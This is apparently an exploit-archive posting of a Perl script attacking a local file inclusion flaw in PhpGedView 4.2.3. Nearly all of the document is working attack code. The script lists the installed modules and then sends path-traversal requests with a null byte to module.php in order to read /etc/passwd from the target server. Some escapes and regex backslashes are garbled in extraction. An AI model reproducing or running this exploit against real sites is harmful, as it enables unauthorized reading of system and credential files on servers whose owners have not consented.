Home / os / win7

PhpGedView 4.2.3 Local File Inclusion

Posted on 06 January 2011

#!/usr/bin/perl -w

#  :::::::-.   ...    ::::::.    :::.
#   ;;,   `';, ;;     ;;;`;;;;,  `;;;
#   `[[     [[[['     [[[  [[[[[. '[[
#    $$,    $$$$      $$$  $$$ "Y$c$$
#    888_,o8P'88    .d888  888    Y88
#    MMMMP"`   "YmmMMMM""  MMM     YM
#  [ Discovered by dun  posdub[at]gmail.com ]
#
##################################################################
#  [ PhpGedView <= 4.2.3 ]  Local File Inclusion Vulnerability   #
##################################################################
#
# Script: "PhpGedView is a revolutionary genealogy program which
#          allows you to view and edit your genealogy on your website..."
#
# Script: http://www.phpgedview.net/
# Download: http://sourceforge.net/projects/phpgedview/
#
# Usage: perl expl.pl http://site.com/phpgedview/
#
##################################################################
#[ dun / 2011-01-05 ]

use IO::Socket;
use Socket;
use IO::Select;


my @modules;

if(scalar(@ARGV) < 1) {
print "
Usage: perl expl.pl http://site.com/phpgedview/

";
exit;
}

print "33[32m[1] 33[0mChecking installed PGV modules..
";
@modules=get_modules_list($ARGV[0].'/modules/');
print "33[32m[2] 33[0mTrying to read /etc/passwd file..
";
p(@modules, $ARGV[0].'/', '/etc/passwd');

sub http_query {

my $page="";
my $url=$_[0];
my $ua="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)";
if(defined($_[1]) && defined($_[2])) {
$host=$_[1];
$port=$_[2];
$get="GET $url HTTP/1.0
$ua
Connection: Close

";
} else {
$port=80;
$url=~s/http:////;
$host=$url;
$query=$url;
$host=~s/([a-zA-Z0-9.]+)/.*/$1/;
$query=~s/$host//;
if ($query eq "") {$query="/";};

$get="GET $query HTTP/1.0
Host: $host
$ua
Connection: Close

";
}
my $sock = IO::Socket::INET->new(PeerAddr=>"$host",PeerPort=>"$port",Proto=>"tcp",Timeout => 3) or return;
print $sock $get;
my @r = <$sock>;
$page="@r";
close($sock);

return $page;
}

sub get_modules_list {
my $host = $_[0];
my $page="";
my @modules1=(
"FCKeditor",
"GEDFact_assistant",
"JWplayer",
"batch_update",
"cms_interface",
"gallery2",
"googlemap",
"lightbox",
"punbb",
"research_assistant",
"sitemap",
"slideshow",
"wordsearch"
);

$page = http_query($host);
while($page =~ m/(.*)<(a|A)s(href|HREF)="([^/]+)/">/g){
push (@modules2, $4);
}
if(@modules2) {
print " Installed modules: @modules2
";
return @modules2;
} else {
print " No info about installed modules..
";
return @modules1;
}
}

sub p {
my($mods, $host, $file)=@_;
my $page="";
foreach $r(@{$mods}) {
$q="$host"."module.php?mod=$r&pgvaction=".("/.."x10)."$file%00";
$page=http_query($q);
@lines = split (/
/, $page);
if($page=~ m/(.+):.:d+:d+:(.*):/(.+):/(.*)/g){
print "33[32mModule: $r
";
print "Adress: $q
";
print "File:   /etc/passwd:33[0m (Press ENTER) ";
if(<STDIN>) {
print "

";
for(@lines) {
if($_=~ m/(.+):.:d+:d+:(.*):/(.+):/(.*)/g){
print $_."
";
}
}
}
return 0;
}
}
print "33[31mFailed :(33[0m
"
}

##################################################################

 

TOP